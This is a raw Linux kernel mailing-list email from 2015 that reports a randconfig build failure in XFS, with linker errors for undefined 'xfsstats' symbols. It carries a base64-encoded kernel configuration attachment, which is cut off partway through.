cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 13 Oct 2015 09:41:27 -0700 (PDT) X-Barracuda-Envelope-From: jim.epost@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.42 Received: by vkaw128 with SMTP id w128so13858243vka.0 for ; Tue, 13 Oct 2015 09:41:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=3OYGxbHQ6JnRkEauWL0IuvO82SMnmHGq6G0eZYm6d6Q=; b=sqAK5tiWldEEc4/nFFY/mlfIXrzNgCgooR6xHGSEkixWJB0xPXJLYAKiOJD1VNeJGq WMHmTzF8jTtDAx5xbZylg0Lj1UvXvcGH5h0A9c4HNtLQH+J47XMo99NMCpQeK0DrFCzW JPBWYp57I44TiJYmZFpuJldBgvgqXrOT/xF/mTsmhbFWSKN7+Gl0eqwZ1HFJMppRfPwR kYvHwDfRLgezE4xu/Nkm+8+h6WKPs+c+LdkJtDHuJPeBugENul4chvJtr2smf5TyFfOQ HGgcRN/wWeWRN3an7mmsXSL0nnEjE290AnL3rcfTWwp2NQToEEoUmMxJxQUKGVJ3cNrg uBfA== MIME-Version: 1.0 X-Received: by 10.31.49.67 with SMTP id x64mr22264748vkx.133.1444754485340; Tue, 13 Oct 2015 09:41:25 -0700 (PDT) Received: by 10.31.59.138 with HTTP; Tue, 13 Oct 2015 09:41:25 -0700 (PDT) Date: Tue, 13 Oct 2015 09:41:25 -0700 Message-ID: Subject: randconfig build error with next-20151013, in fs/xfs/libxfs/xfs_alloc.c From: Jim Davis X-ASG-Orig-Subj: randconfig build error with next-20151013, in fs/xfs/libxfs/xfs_alloc.c To: Stephen Rothwell , linux-next , linux-kernel , david@fromorbit.com, xfs@oss.sgi.com Content-Type: multipart/mixed; boundary=001a1143fc92e3739f0521ff1dc9 X-Barracuda-Connect: mail-vk0-f42.google.com[209.85.213.42] X-Barracuda-Start-Time: 1444754487 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.24 X-Barracuda-Spam-Status: No, SCORE=1.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, FRT_LEVITRA, FUZZY_VPILL, UPPERCASE_50_75, UPPERCASE_50_75_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.74 FRT_LEVITRA BODY: ReplaceTags: Levitra 0.00 FUZZY_VPILL BODY: Attempt to obfuscate words in spam 0.00 UPPERCASE_50_75 message body is 50-75% uppercase 0.49 UPPERCASE_50_75_2 message body is 50-75% uppercase --001a1143fc92e3739f0521ff1dc9 Content-Type: text/plain; charset=UTF-8 Building with the attached random configuration file, fs/built-in.o: In function `xfs_free_ag_extent': /home/jim/linux-next/fs/xfs/libxfs/xfs_alloc.c:1813: undefined reference to `xfsstats' fs/built-in.o: In function `xfs_alloc_ag_vextent': /home/jim/linux-next/fs/xfs/libxfs/xfs_alloc.c:656: undefined reference to `xfsstats' /home/jim/linux-next/fs/xfs/libxfs/xfs_alloc.c:657: undefined reference to `xfsstats' fs/built-in.o: In function `xfs_attr_set': /home/jim/linux-next/fs/xfs/libxfs/xfs_attr.c:212: undefined reference to `xfsstats' fs/built-in.o: In function `xfs_attr_remove': /home/jim/linux-next/fs/xfs/libxfs/xfs_attr.c:415: undefined reference to `xfsstats' fs/built-in.o:/home/jim/linux-next/fs/xfs/libxfs/xfs_attr.c:128: more undefined references to `xfsstats' follow fs/built-in.o: In function `stats_show': /home/jim/linux-next/fs/xfs/xfs_sysfs.c:149: undefined reference to `xfs_stats_format' fs/built-in.o: In function `stats_clear_store': /home/jim/linux-next/fs/xfs/xfs_sysfs.c:170: undefined reference to `xfs_stats_clearall' fs/built-in.o: In function `__xfs_trans_commit': /home/jim/linux-next/fs/xfs/xfs_trans.c:935: undefined reference to `xfsstats' /home/jim/linux-next/fs/xfs/xfs_trans.c:958: undefined reference to `xfsstats' /home/jim/linux-next/fs/xfs/xfs_trans.c:933: undefined reference to `xfsstats' fs/built-in.o: In function `xlog_grant_head_wait': /home/jim/linux-next/fs/xfs/xfs_log.c:271: undefined reference to `xfsstats' fs/built-in.o: In function `xfs_log_regrant': /home/jim/linux-next/fs/xfs/xfs_log.c:382: undefined reference to `xfsstats' fs/built-in.o:/home/jim/linux-next/fs/xfs/xfs_log.c:451: more undefined references to `xfsstats' follow -- Jim --001a1143fc92e3739f0521ff1dc9 Content-Type: text/plain; charset=US-ASCII; name="randconfig-1444750172.txt" Content-Disposition: attachment; filename="randconfig-1444750172.txt" Content-Transfer-Encoding: base64 X-Attachment-Id: f_ifplht4u0 IwojIEF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIGZpbGU7IERPIE5PVCBFRElULgojIExpbnV4L3g4 NiA0LjMuMC1yYzUgS2VybmVsIENvbmZpZ3VyYXRpb24KIwpDT05GSUdfNjRCSVQ9eQpDT05GSUdf WDg2XzY0PXkKQ09ORklHX1g4Nj15CkNPTkZJR19JTlNUUlVDVElPTl9ERUNPREVSPXkKQ09ORklH X09VVFBVVF9GT1JNQVQ9ImVsZjY0LXg4Ni02NCIKQ09ORklHX0FSQ0hfREVGQ09ORklHPSJhcmNo L3g4Ni9jb25maWdzL3g4Nl82NF9kZWZjb25maWciCkNPTkZJR19MT0NLREVQX1NVUFBPUlQ9eQpD T05GSUdfU1RBQ0tUUkFDRV9TVVBQT1JUPXkKQ09ORklHX0hBVkVfTEFURU5DWVRPUF9TVVBQT1JU PXkKQ09ORklHX01NVT15CkNPTkZJR19ORUVEX0RNQV9NQVBfU1RBVEU9eQpDT05GSUdfTkVFRF9T R19ETUFfTEVOR1RIPXkKQ09ORklHX0dFTkVSSUNfSVNBX0RNQT15CkNPTkZJR19HRU5FUklDX0JV Rz15CkNPTkZJR19HRU5FUklDX0JVR19SRUxBVElWRV9QT0lOVEVSUz15CkNPTkZJR19HRU5FUklD X0hXRUlHSFQ9eQpDT05GSUdfQVJDSF9NQVlfSEFWRV9QQ19GREM9eQpDT05GSUdfUldTRU1fWENI R0FERF9BTEdPUklUSE09eQpDT05GSUdfR0VORVJJQ19DQUxJQlJBVEVfREVMQVk9eQpDT05GSUdf QVJDSF9IQVNfQ1BVX1JFTEFYPXkKQ09ORklHX0FSQ0hfSEFTX0NBQ0hFX0xJTkVfU0laRT15CkNP TkZJR19IQVZFX1NFVFVQX1BFUl9DUFVfQVJFQT15CkNPTkZJR19ORUVEX1BFUl9DUFVfRU1CRURf RklSU1RfQ0hVTks9eQpDT05GSUdfTkVFRF9QRVJfQ1BVX1BBR0VfRklSU1RfQ0hVTks9eQpDT05G SUdfQVJDSF9ISUJFUk5BVElPTl9QT1NTSUJMRT15CkNPTkZJR19BUkNIX1NVU1BFTkRfUE9TU0lC TEU9eQpDT05GSUdfQVJDSF9XQU5UX0hVR0VfUE1EX1NIQVJFPXkKQ09ORklHX0FSQ0hfV0FOVF9H RU5FUkFMX0hVR0VUTEI9eQpDT05GSUdfWk9ORV9ETUEzMj15CkNPTkZJR19BVURJVF9BUkNIPXkK Q09ORklHX0FSQ0hfU1VQUE9SVFNfT1BUSU1JWkVEX0lOTElOSU5HPXkKQ09ORklHX0FSQ0hfU1VQ UE9SVFNfREVCVUdfUEFHRUFMTE9DPXkKQ09ORklHX0hBVkVfSU5URUxfVFhUPXkKQ09ORklHX0FS Q0hfSFdFSUdIVF9DRkxBR1M9Ii1mY2FsbC1zYXZlZC1yZGkgLWZjYWxsLXNhdmVkLXJzaSAtZmNh bGwtc2F2ZWQtcmR4IC1mY2FsbC1zYXZlZC1yY3ggLWZjYWxsLXNhdmVkLXI4IC1mY2FsbC1zYXZl ZC1yOSAtZmNhbGwtc2F2ZWQtcjEwIC1mY2FsbC1zYXZlZC1yMTEiCkNPTkZJR19BUkNIX1NVUFBP UlRTX1VQUk9CRVM9eQpDT05GSUdfRklYX0VBUkxZQ09OX01FTT15CkNPTkZJR19QR1RBQkxFX0xF VkVMUz00CkNPTkZJR19ERUZDT05GSUdfTElTVD0iL2xpYi9tb2R1bGVzLyRVTkFNRV9SRUxFQVNF Ly5jb25maWciCkNPTkZJR19JUlFfV09SSz15CkNPTkZJR19CVUlMRFRJTUVfRVhUQUJMRV9TT1JU PXkKCiMKIyBHZW5lcmFsIHNldHVwCiMKQ09ORklHX0JST0tFTl9PTl9TTVA9eQpDT05GSUdfSU5J VF9FTlZfQVJHX0xJTUlUPTMyCkNPTkZJR19DUk9TU19DT01QSUxFPSIiCiMgQ09ORklHX0NPTVBJ TEVfVEVTVCBpcyBub3Qgc2V0CkNPTkZJR19MT0NBTFZFUlNJT049IiIKIyBDT05GSUdfTE9DQUxW RVJTSU9OX0FVVE8gaXMgbm90IHNldApDT05GSUdfSEFWRV9LRVJORUxfR1pJUD15CkNPTkZJR19I QVZFX0tFUk5FTF9CWklQMj15CkNPTkZJR19IQVZFX0tFUk5FTF9MWk1BPXkKQ09ORklHX0hBVkVf S0VSTkVMX1haPXkKQ09ORklHX0hBVkVfS0VSTkVMX0xaTz15CkNPTkZJR19IQVZFX0tFUk5FTF9M WjQ9eQpDT05GSUdfS0VSTkVMX0daSVA9eQojIENPTkZJR19LRVJORUxfQlpJUDIgaXMgbm90IHNl dAojIENPTkZJR19LRVJORUxfTFpNQSBpcyBub3Qgc2V0CiMgQ09ORklHX0tFUk5FTF9YWiBpcyBu b3Qgc2V0CiMgQ09ORklHX0tFUk5FTF9MWk8gaXMgbm90IHNldAojIENPTkZJR19LRVJORUxfTFo0 IGlzIG5vdCBzZXQKQ09ORklHX0RFRkFVTFRfSE9TVE5BTUU9Iihub25lKSIKQ09ORklHX1NXQVA9 eQojIENPTkZJR19TWVNWSVBDIGlzIG5vdCBzZXQKIyBDT05GSUdfQ1JPU1NfTUVNT1JZX0FUVEFD SCBpcyBub3Qgc2V0CkNPTkZJR19GSEFORExFPXkKQ09ORklHX1VTRUxJQj15CkNPTkZJR19IQVZF X0FSQ0hfQVVESVRTWVNDQUxMPXkKCiMKIyBJUlEgc3Vic3lzdGVtCiMKQ09ORklHX0dFTkVSSUNf SVJRX1BST0JFPXkKQ09ORklHX0dFTkVSSUNfSVJRX1NIT1c9eQpDT05GSUdfSVJRX0RPTUFJTj15 CkNPTkZJR19JUlFfRE9NQUlOX0hJRVJBUkNIWT15CkNPTkZJR19HRU5FUklDX01TSV9JUlE9eQpD T05GSUdfR0VORVJJQ19NU0lfSVJRX0RPTUFJTj15CiMgQ09ORklHX0lSUV9ET01BSU5fREVCVUcg aXMgbm90IHNldApDT05GSUdfSVJRX0ZPUkNFRF9USFJFQURJTkc9eQpDT05GSUdfU1BBUlNFX0lS UT15CkNPTkZJR19DTE9DS1NPVVJDRV9XQVRDSERPRz15CkNPTkZJR19BUkNIX0NMT0NLU09VUkNF X0RBVEE9eQpDT05GSUdfQ0xPQ0tTT1VSQ0VfVkFMSURBVEVfTEFTVF9DWUNMRT15CkNPTkZJR19H RU5FUklDX1RJTUVfVlNZU0NBTEw9eQpDT05GSUdfR0VORVJJQ19DTE9DS0VWRU5UUz15CkNPTkZJ R19HRU5FUklDX0NMT0NLRVZFTlRTX0JST0FEQ0FTVD15CkNPTkZJR19HRU5FUklDX0NMT0NLRVZF TlRTX01JTl9BREpVU1Q9eQpDT05GSUdfR0VORVJJQ19DTU9TX1VQREFURT15CgojCiMgVGltZXJz IHN1YnN5c3RlbQojCkNPTkZJR19USUNLX09ORVNIT1Q9eQpDT05GSUdfSFpfUEVSSU9ESUM9eQoj IENPTkZJR19OT19IWl9JRExFIGlzIG5vdCBzZXQKIyBDT05GSUdfTk9fSFogaXMgbm90IHNldApD T05GSUdfSElHSF9SRVNfVElNRVJTPXkKCiMKIyBDUFUvVGFzayB0aW1lIGFuZCBzdGF0cyBhY2Nv dW50aW5nCiMKQ09ORklHX1RJQ0tfQ1BVX0FDQ09VTlRJTkc9eQojIENPTkZJR19WSVJUX0NQVV9B Q0NPVU5USU5HX0dFTiBpcyBub3Qgc2V0CiMgQ09ORklHX0lSUV9USU1FX0FDQ09VTlRJTkcgaXMg bm90IHNldAoKIwojIFJDVSBTdWJzeXN0ZW0KIwpDT05GSUdfVElOWV9SQ1U9eQojIENPTkZJR19S Q1VfRVhQRVJUIGlzIG5vdCBzZXQKQ09ORklHX1NSQ1U9eQpDT05GSUdfVEFTS1NfUkNVPXkKQ09O RklHX1JDVV9TVEFMTF9DT01NT049eQojIENPTkZJR19UUkVFX1JDVV9UUkFDRSBpcyBub3Qgc2V0 CiMgQ09ORklHX1JDVV9FWFBFRElURV9CT09UIGlzIG5vdCBzZXQKQ09ORklHX0JVSUxEX0JJTjJD PXkKIyBDT05GSUdfSUtDT05GSUcgaXMgbm90IHNldApDT05GSUdfTE9HX0JVRl9TSElGVD0xNwpD T05GSUdfSEFWRV9VTlNUQUJMRV9TQ0hFRF9DTE9DSz15CkNPTkZJR19BUkNIX1NVUFBPUlRTX05V TUFfQkFMQU5DSU5HPXkKQ09ORklHX0FSQ0hfU1VQUE9SVFNfSU5UMTI4PXkKIyBDT05GSUdfQ0dS T1VQUyBpcyBub3Qgc2V0CiMgQ09ORklHX0NIRUNLUE9JTlRfUkVTVE9SRSBpcyBub3Qgc2V0CiMg Q09ORklHX1NDSEVEX0FVVE9HUk9VUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NZU0ZTX0RFUFJFQ0FU RUQgaXMgbm90IHNldApDT05GSUdfUkVMQVk9eQpDT05GSUdfQkxLX0RFVl9JTklUUkQ9eQpDT05G SUdfSU5JVFJBTUZTX1NPVVJDRT0iIgpDT05GSUdfUkRfR1pJUD15CkNPTkZJR19SRF9CWklQMj15 CiMgQ09ORklHX1JEX0xaTUEgaXMgbm90IHNldAojIENPTkZJR19SRF9YWiBpcyBub3Qgc2V0CiMg Q09ORklHX1JEX0xaTyBpcyBub3Qgc2V0CiMgQ09ORklHX1JEX0xaNCBpcyBub3Qgc2V0CiMgQ09O RklHX0NDX09QVElNSVpFX0ZPUl9TSVpFIGlzIG5vdCBzZXQKQ09ORklHX0FOT05fSU5PREVTPXkK Q09ORklHX0hBVkVfVUlEMTY9eQpDT05GSUdfU1lTQ1RMX0VYQ0VQVElPTl9UUkFDRT15CkNPTkZJ R19IQVZFX1BDU1BLUl9QTEFURk9STT15CkNPTkZJR19FWFBFUlQ9eQojIENPTkZJR19NVUxUSVVT RVIgaXMgbm90IHNldApDT05GSUdfU0dFVE1BU0tfU1lTQ0FMTD15CiMgQ09ORklHX1NZU0ZTX1NZ U0NBTEwgaXMgbm90IHNldApDT05GSUdfS0FMTFNZTVM9eQpDT05GSUdfS0FMTFNZTVNfQUxMPXkK Q09ORklHX1BSSU5USz15CkNPTkZJR19CVUc9eQpDT05GSUdfRUxGX0NPUkU9eQpDT05GSUdfUENT UEtSX1BMQVRGT1JNPXkKIyBDT05GSUdfQkFTRV9GVUxMIGlzIG5vdCBzZXQKIyBDT05GSUdfRlVU RVggaXMgbm90IHNldAojIENPTkZJR19FUE9MTCBpcyBub3Qgc2V0CiMgQ09ORklHX1NJR05BTEZE IGlzIG5vdCBzZXQKQ09ORklHX1RJTUVSRkQ9eQojIENPTkZJR19FVkVOVEZEIGlzIG5vdCBzZXQK IyBDT05GSUdfQlBGX1NZU0NBTEwgaXMgbm90IHNldApDT05GSUdfU0hNRU09eQpDT05GSUdfQUlP PXkKQ09ORklHX0FEVklTRV9TWVNDQUxMUz15CiMgQ09ORklHX1VTRVJGQVVMVEZEIGlzIG5vdCBz ZXQKQ09ORklHX1BDSV9RVUlSS1M9eQojIENPTkZJR19NRU1CQVJSSUVSIGlzIG5vdCBzZXQKIyBD T05GSUdfRU1CRURERUQgaXMgbm90IHNldApDT05GSUdfSEFWRV9QRVJGX0VWRU5UUz15CgojCiMg S2VybmVsIFBlcmZvcm1hbmNlIEV2ZW50cyBBbmQgQ291bnRlcnMKIwpDT05GSUdfUEVSRl9FVkVO VFM9eQojIENPTkZJR19ERUJVR19QRVJGX1VTRV9WTUFMTE9DIGlzIG5vdCBzZXQKQ09ORklHX1ZN X0VWRU5UX0NPVU5URVJTPXkKIyBDT05GSUdfU0xVQl9ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklH X0NPTVBBVF9CUksgaXMgbm90IHNldAojIENPTkZJR19TTEFCIGlzIG5vdCBzZXQKQ09ORklHX1NM VUI9eQojIENPTkZJR19TTE9CIGlzIG5vdCBzZXQKQ09ORklHX1NZU1RFTV9EQVRBX1ZFUklGSUNB VElPTj15CiMgQ09ORklHX1BST0ZJTElORyBpcyBub3Qgc2V0CkNPTkZJR19UUkFDRVBPSU5UUz15 CkNPTkZJR19LRVhFQ19DT1JFPXkKQ09ORklHX0hBVkVfT1BST0ZJTEU9eQpDT05GSUdfT1BST0ZJ TEVfTk1JX1RJTUVSPXkKIyBDT05GSUdfS1BST0JFUyBpcyBub3Qgc2V0CiMgQ09ORklHX0pVTVBf TEFCRUwgaXMgbm90IHNldAojIENPTkZJR19VUFJPQkVTIGlzIG5vdCBzZXQKIyBDT05GSUdfSEFW RV82NEJJVF9BTElHTkVEX0FDQ0VTUyBpcyBub3Qgc2V0CkNPTkZJR19IQVZFX0VGRklDSUVOVF9V TkFMSUdORURfQUNDRVNTPXkKQ09ORklHX0FSQ0hfVVNFX0JVSUxUSU5fQlNXQVA9eQpDT05GSUdf SEFWRV9JT1JFTUFQX1BST1Q9eQpDT05GSUdfSEFWRV9LUFJPQkVTPXkKQ09ORklHX0hBVkVfS1JF VFBST0JFUz15CkNPTkZJR19IQVZFX09QVFBST0JFUz15CkNPTkZJR19IQVZFX0tQUk9CRVNfT05f RlRSQUNFPXkKQ09ORklHX0hBVkVfQVJDSF9UUkFDRUhPT0s9eQpDT05GSUdfSEFWRV9ETUFfQVRU UlM9eQpDT05GSUdfSEFWRV9ETUFfQ09OVElHVU9VUz15CkNPTkZJR19HRU5FUklDX1NNUF9JRExF X1RIUkVBRD15CkNPTkZJR19BUkNIX1dBTlRTX0RZTkFNSUNfVEFTS19TVFJVQ1Q9eQpDT05GSUdf SEFWRV9SRUdTX0FORF9TVEFDS19BQ0NFU1NfQVBJPXkKQ09ORklHX0hBVkVfQ0xLPXkKQ09ORklH X0hBVkVfRE1BX0FQSV9ERUJVRz15CkNPTkZJR19IQVZFX0hXX0JSRUFLUE9JTlQ9eQpDT05GSUdf SEFWRV9NSVhFRF9CUkVBS1BPSU5UU19SRUdTPXkKQ09ORklHX0hBVkVfVVNFUl9SRVRVUk5fTk9U SUZJRVI9eQpDT05GSUdfSEFWRV9QRVJGX0VWRU5UU19OTUk9eQpDT05GSUdfSEFWRV9QRVJGX1JF R1M9eQpDT05GSUdfSEFWRV9QRVJGX1VTRVJfU1RBQ0tfRFVNUD15CkNPTkZJR19IQVZFX0FSQ0hf SlVNUF9MQUJFTD15CkNPTkZJR19BUkNIX0hBVkVfTk1JX1NBRkVfQ01QWENIRz15CkNPTkZJR19I QVZFX0FMSUdORURfU1RSVUNUX1BBR0U9eQpDT05GSUdfSEFWRV9DTVBYQ0hHX0xPQ0FMPXkKQ09O RklHX0hBVkVfQ01QWENIR19ET1VCTEU9eQpDT05GSUdfQVJDSF9XQU5UX0NPTVBBVF9JUENfUEFS U0VfVkVSU0lPTj15CkNPTkZJR19BUkNIX1dBTlRfT0xEX0NPTVBBVF9JUEM9eQpDT05GSUdfSEFW RV9BUkNIX1NFQ0NPTVBfRklMVEVSPXkKQ09ORklHX0hBVkVfQ0NfU1RBQ0tQUk9URUNUT1I9eQoj IENPTkZJR19DQ19TVEFDS1BST1RFQ1RPUiBpcyBub3Qgc2V0CkNPTkZJR19DQ19TVEFDS1BST1RF Q1RPUl9OT05FPXkKIyBDT05GSUdfQ0NfU1RBQ0tQUk9URUNUT1JfUkVHVUxBUiBpcyBub3Qgc2V0 CiMgQ09ORklHX0NDX1NUQUNLUFJPVEVDVE9SX1NUUk9ORyBpcyBub3Qgc2V0CkNPTkZJR19IQVZF X0NPTlRFWFRfVFJBQ0tJTkc9eQpDT05GSUdfSEFWRV9WSVJUX0NQVV9BQ0NPVU5USU5HX0dFTj15 CkNPTkZJR19IQVZFX0lSUV9USU1FX0FDQ09VTlRJTkc9eQpDT05GSUdfSEFWRV9BUkNIX1RSQU5T UEFSRU5UX0hVR0VQQUdFPXkKQ09ORklHX0hBVkVfQVJDSF9IVUdFX1ZNQVA9eQpDT05GSUdfSEFW RV9BUkNIX1NPRlRfRElSVFk9eQpDT05GSUdfTU9EVUxFU19VU0VfRUxGX1JFTEE9eQpDT05GSUdf SEFWRV9JUlFfRVhJVF9PTl9JUlFfU1RBQ0s9eQpDT05GSUdfQVJDSF9IQVNfRUxGX1JBTkRPTUla RT15CkNPTkZJR19IQVZFX0NPUFlfVEhSRUFEX1RMUz15CkNPTkZJR19PTERfU0lHU1VTUEVORDM9 eQpDT05GSUdfQ09NUEFUX09MRF9TSUdBQ1RJT049eQoKIwojIEdDT1YtYmFzZWQga2VybmVsIHBy b2ZpbGluZwojCiMgQ09ORklHX0dDT1ZfS0VSTkVMIGlzIG5vdCBzZXQKQ09ORklHX0FSQ0hfSEFT X0dDT1ZfUFJPRklMRV9BTEw9eQojIENPTkZJR19IQVZFX0dFTkVSSUNfRE1BX0NPSEVSRU5UIGlz IG5vdCBzZXQKQ09ORklHX1JUX01VVEVYRVM9eQpDT05GSUdfQkFTRV9TTUFMTD0xCkNPTkZJR19N T0RVTEVTPXkKIyBDT05GSUdfTU9EVUxFX0ZPUkNFX0xPQUQgaXMgbm90IHNldAojIENPTkZJR19N T0RVTEVfVU5MT0FEIGlzIG5vdCBzZXQKQ09ORklHX01PRFZFUlNJT05TPXkKIyBDT05GSUdfTU9E VUxFX1NSQ1ZFUlNJT05fQUxMIGlzIG5vdCBzZXQKQ09ORklHX01PRFVMRV9TSUc9eQpDT05GSUdf TU9EVUxFX1NJR19GT1JDRT15CiMgQ09ORklHX01PRFVMRV9TSUdfQUxMIGlzIG5vdCBzZXQKCiMK IyBEbyBub3QgZm9yZ2V0IHRvIHNpZ24gcmVxdWlyZWQgbW9kdWxlcyB3aXRoIHNjcmlwdHMvc2ln bi1maWxlCiMKQ09ORklHX01PRFVMRV9TSUdfU0hBMT15CiMgQ09ORklHX01PRFVMRV9TSUdfU0hB MjI0IGlzIG5vdCBzZXQKIyBDT05GSUdfTU9EVUxFX1NJR19TSEEyNTYgaXMgbm90IHNldAojIENP TkZJR19NT0RVTEVfU0lHX1NIQTM4NCBpcyBub3Qgc2V0CiMgQ09ORklHX01PRFVMRV9TSUdfU0hB NTEyIGlzIG5vdCBzZXQKQ09ORklHX01PRFVMRV9TSUdfSEFTSD0ic2hhMSIKQ09ORklHX01PRFVM RV9DT01QUkVTUz15CkNPTkZJR19NT0RVTEVfQ09NUFJFU1NfR1pJUD15CiMgQ09ORklHX01PRFVM RV9DT01QUkVTU19YWiBpcyBub3Qgc2V0CkNPTkZJR19NT0RVTEVTX1RSRUVfTE9PS1VQPXkKQ09O RklHX0JMT0NLPXkKQ09ORklHX0JMS19ERVZfQlNHPXkKIyBDT05GSUdfQkxLX0RFVl9CU0dMSUIg aXMgbm90IHNldApDT05GSUdfQkxLX0RFVl9JTlRFR1JJVFk9eQpDT05GSUdfQkxLX0NNRExJTkVf UEFSU0VSPXkKCiMKIyBQYXJ0aXRpb24gVHlwZXMKIwojIENPTkZJR19QQVJUSVRJT05fQURWQU5D RUQgaXMgbm90IHNldApDT05GSUdfTVNET1NfUEFSVElUSU9OPXkKQ09ORklHX0VGSV9QQVJUSVRJ T049eQpDT05GSUdfQkxPQ0tfQ09NUEFUPXkKCiMKIyBJTyBTY2hlZHVsZXJzCiMKQ09ORklHX0lP U0NIRURfTk9PUD15CiMgQ09ORklHX0lPU0NIRURfREVBRExJTkUgaXMgbm90IHNldApDT05GSUdf SU9TQ0hFRF9DRlE9eQpDT05GSUdfREVGQVVMVF9DRlE9eQojIENPTkZJR19ERUZBVUxUX05PT1Ag aXMgbm90IHNldApDT05GSUdfREVGQVVMVF9JT1NDSEVEPSJjZnEiCkNPTkZJR19BU04xPXkKQ09O RklHX1VOSU5MSU5FX1NQSU5fVU5MT0NLPXkKQ09ORklHX0FSQ0hfU1VQUE9SVFNfQVRPTUlDX1JN Vz15CkNPTkZJR19BUkNIX1VTRV9RVUVVRURfU1BJTkxPQ0tTPXkKQ09ORklHX0FSQ0hfVVNFX1FV RVVFRF9SV0xPQ0tTPXkKQ09ORklHX0ZSRUVaRVI9eQoKIwojIFByb2Nlc3NvciB0eXBlIGFuZCBm ZWF0dXJlcwojCiMgQ09ORklHX1pPTkVfRE1BIGlzIG5vdCBzZXQKIyBDT05GSUdfU01QIGlzIG5v dCBzZXQKQ09ORklHX1g4Nl9GRUFUVVJFX05BTUVTPXkKIyBDT05GSUdfWDg2X1gyQVBJQyBpcyBu b3Qgc2V0CkNPTkZJR19YODZfTVBQQVJTRT15CiMgQ09ORklHX1g4Nl9FWFRFTkRFRF9QTEFURk9S TSBpcyBub3Qgc2V0CiMgQ09ORklHX1g4Nl9JTlRFTF9MUFNTIGlzIG5vdCBzZXQKQ09ORklHX1g4 Nl9BTURfUExBVEZPUk1fREVWSUNFPXkKQ09ORklHX0lPU0ZfTUJJPXkKIyBDT05GSUdfSU9TRl9N QklfREVCVUcgaXMgbm90IHNldApDT05GSUdfU0NIRURfT01JVF9GUkFNRV9QT0lOVEVSPXkKQ09O RklHX0hZUEVSVklTT1JfR1VFU1Q9eQpDT05GSUdfUEFSQVZJUlQ9eQojIENPTkZJR19QQVJBVklS VF9ERUJVRyBpcyBub3Qgc2V0CkNPTkZJR19YRU49eQpDT05GSUdfWEVOX0RPTTA9eQpDT05GSUdf WEVOX1BWSFZNPXkKIyBDT05GSUdfWEVOXzUxMkdCIGlzIG5vdCBzZXQKQ09ORklHX1hFTl9TQVZF X1JFU1RPUkU9eQpDT05GSUdfWEVOX0RFQlVHX0ZTPXkKIyBDT05GSUdfWEVOX1BWSCBpcyBub3Qg c2V0CkNPTkZJR19LVk1fR1VFU1Q9eQojIENPTkZJR19LVk1fREVCVUdfRlMgaXMgbm90IHNldAoj IENPTkZJR19QQVJBVklSVF9USU1FX0FDQ09VTlRJTkcgaXMgbm90IHNldApDT05GSUdfUEFSQVZJ UlRfQ0xPQ0s9eQpDT05GSUdfTk9fQk9PVE1FTT15CiMgQ09ORklHX01LOCBpcyBub3Qgc2V0CiMg Q09ORklHX01QU0MgaXMgbm90IHNldAojIENPTkZJR19NQ09SRTIgaXMgbm90IHNldAojIENPTkZJ R19NQVRPTSBpcyBub3Qgc2V0CkNPTkZJR19HRU5FUklDX0NQVT15CkNPTkZJR19YODZfSU5URVJO T0RFX0NBQ0hFX1NISUZUPTYKQ09ORklHX1g4Nl9MMV9DQUNIRV9TSElGVD02CkNPTkZJR19YODZf VFNDPXkKQ09ORklHX1g4Nl9DTVBYQ0hHNjQ9eQpDT05GSUdfWDg2X0NNT1Y9eQpDT05GSUdfWDg2 X01JTklNVU1fQ1BVX0ZBTUlMWT02NApDT05GSUdfWDg2X0RFQlVHQ1RMTVNSPXkKQ09ORklHX1BS T0NFU1NPUl9TRUxFQ1Q9eQojIENPTkZJR19DUFVfU1VQX0lOVEVMIGlzIG5vdCBzZXQKIyBDT05G SUdfQ1BVX1NVUF9BTUQgaXMgbm90IHNldAojIENPTkZJR19DUFVfU1VQX0NFTlRBVVIgaXMgbm90 IHNldApDT05GSUdfSFBFVF9USU1FUj15CiMgQ09ORklHX0RNSSBpcyBub3Qgc2V0CiMgQ09ORklH X0NBTEdBUllfSU9NTVUgaXMgbm90IHNldApDT05GSUdfU1dJT1RMQj15CkNPTkZJR19JT01NVV9I RUxQRVI9eQpDT05GSUdfTlJfQ1BVUz0xCkNPTkZJR19QUkVFTVBUX05PTkU9eQojIENPTkZJR19Q UkVFTVBUX1ZPTFVOVEFSWSBpcyBub3Qgc2V0CiMgQ09ORklHX1BSRUVNUFQgaXMgbm90IHNldApD T05GSUdfVVBfTEFURV9JTklUPXkKQ09ORklHX1g4Nl9MT0NBTF9BUElDPXkKQ09ORklHX1g4Nl9J T19BUElDPXkKIyBDT05GSUdfWDg2X1JFUk9VVEVfRk9SX0JST0tFTl9CT09UX0lSUVMgaXMgbm90 IHNldAojIENPTkZJR19YODZfTUNFIGlzIG5vdCBzZXQKIyBDT05GSUdfVk04NiBpcyBub3Qgc2V0 CiMgQ09ORklHX1g4Nl9WU1lTQ0FMTF9FTVVMQVRJT04gaXMgbm90IHNldAojIENPTkZJR19JOEsg aXMgbm90IHNldAojIENPTkZJR19YODZfTVNSIGlzIG5vdCBzZXQKQ09ORklHX1g4Nl9DUFVJRD15 CkNPTkZJR19BUkNIX1BIWVNfQUREUl9UXzY0QklUPXkKQ09ORklHX0FSQ0hfRE1BX0FERFJfVF82 NEJJVD15CkNPTkZJR19YODZfRElSRUNUX0dCUEFHRVM9eQpDT05GSUdfQVJDSF9TUEFSU0VNRU1f RU5BQkxFPXkKQ09ORklHX0FSQ0hfU1BBUlNFTUVNX0RFRkFVTFQ9eQpDT05GSUdfQVJDSF9TRUxF 